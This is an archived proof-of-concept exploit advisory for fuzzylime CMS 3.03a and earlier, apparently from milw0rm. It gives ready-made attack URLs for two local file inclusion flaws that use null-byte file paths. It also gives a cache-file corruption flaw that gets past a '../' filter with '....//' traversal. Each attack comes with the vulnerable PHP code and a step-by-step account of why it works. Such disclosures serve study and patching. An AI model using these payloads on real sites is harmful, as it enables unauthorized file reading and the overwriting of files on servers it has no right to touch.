78 lines
No EOL
2.9 KiB
Text
78 lines
No EOL
2.9 KiB
Text
+------------------------------------------------------------------------+
|
|
| fuzzylime cms <= 3.03a local inclusion / arbitrary file corruption poc |
|
|
+-----------+------------------------------------------------------------+
|
|
| by staker |
|
|
+-----------+---------------------+
|
|
| mail: staker[at]hotmail[dot]it |
|
|
| url: http://cms.fuzzylime.co.uk |
|
|
+---------------------------------+
|
|
|
|
|
|
[1][LFI]
|
|
|
|
http://[target]/[path]/code/confirm.php?e[]&list= { file + nullbyte }
|
|
|
|
Vulnerable code: confirm.php (local file inclusion mq=off)
|
|
-----------------------------------------------------------------
|
|
1. <?
|
|
2. @extract($HTTP_GET_VARS); <-------- {1}
|
|
3. @extract($_GET); <----------^
|
|
|
|
27. elseif(isset($e)) { <------- {2}
|
|
28. $filename = "code/mailing/$list.inc.php"; <------- {3}
|
|
29. @include $filename; <------- {4}
|
|
-----------------------------------------------------------------
|
|
1. extract() allows to overwrite any not-defined variable via get
|
|
therefore it works regardless of register_globals settings.
|
|
|
|
2. $e is a variable not defined,therefore become $_GET['e']
|
|
3. $list is a variable not defined,therefore become $_GET['list']
|
|
4. $filename contains $list variable that will be required
|
|
-----------------------------------------------------------------
|
|
|
|
|
|
[2][LFI]
|
|
|
|
http://[target]/[path]/code/display.php?template= {file + nullbyte}
|
|
|
|
Vulnerable code: display.php (local file inclusion mq=0 & reg=on)
|
|
--------------------------------------------------------------------
|
|
98. if($_GET['print'] != "1") include "templates/${template}_f.php";
|
|
--------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
[3][LFC]
|
|
|
|
http://[target]/[path]/code/display.php?usecache=1&s=....//settings
|
|
http://[target]/[path]/code/display.php?usecache=1&s={file + nullbyte}(mq = off)
|
|
|
|
Vulnerable code: display.php (local file corruption register_gl=1)
|
|
-----------------------------------------------------------------
|
|
1. <?
|
|
2. $s = $_GET[s];
|
|
3. $p = $_GET[p];
|
|
4. $s = str_replace("../", "", $s); <---------- {1}
|
|
5. $p = str_replace("../", "", $p);
|
|
...
|
|
54. $cachefile = "cache/${s}_${p}_$_GET[m]_$_GET[c]_$_GET[t]_$_GET[u]_$_GET[print].cache.htm"; <---- {2}
|
|
100. if($usecache == "1" && $passprot != "1" && $s != "rss" && empty($_GET[msg]) && empty($_GET[tn])) { <--- {3}
|
|
101. if($handle = fopen($cachefile, 'w')) { // Create the cache file <-------- {4}
|
|
102. $output = ob_get_contents();
|
|
103. fputs($handle, $output);
|
|
104.
|
|
105. fclose($handle);
|
|
106. }
|
|
107. }
|
|
----------------------------------------------------------------------
|
|
1. you have to use ....// to change directory because of 1st point. so
|
|
....// will be ../
|
|
2. $cachefile contains $s variable
|
|
3. if $usecache == 1 we will go ahead
|
|
4. you will overwrite a file typing the name via $s variable.
|
|
-----------------------------------------------------------------------
|
|
|
|
[x] http://www.youtube.com/watch?v=h3DQmJOkSY0
|
|
|
|
# milw0rm.com [2009-06-17] |